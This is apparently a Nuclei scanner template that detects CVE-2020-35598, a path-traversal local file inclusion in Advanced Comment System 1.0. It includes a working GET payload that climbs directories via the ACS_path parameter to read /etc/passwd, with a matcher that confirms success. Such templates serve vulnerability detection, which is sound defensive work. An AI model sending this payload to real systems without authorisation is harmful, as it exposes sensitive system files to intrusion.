id: CVE-2020-35598

info:
  name: Advanced Comment System 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: ACS Advanced Comment System 1.0 is affected by local file inclusion via an advanced_component_system/index.php?ACS_path=..%2f URI.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Advanced Comment System 1.0.
  reference:
    - https://www.exploit-db.com/exploits/49343
    - https://seclists.org/fulldisclosure/2020/Dec/13
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35598
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-35598
    cwe-id: CWE-22
    epss-score: 0.21
    epss-percentile: 0.97321
    cpe: cpe:2.3:a:advanced_comment_system_project:advanced_comment_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: advanced_comment_system_project
    product: advanced_comment_system
  tags: cve,cve2020,acs,edb,seclists,lfi,advanced_comment_system_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022055211f574c3169e6eff057cc0bcec3ae08c8255bd771af530b58e2697f7ac80902207ba57295a75afc9c35e1bd686ac56bbe4f05c9d97d5bc7ba13edb751cf387ded:922c64590222798bb761d5b6d8e72950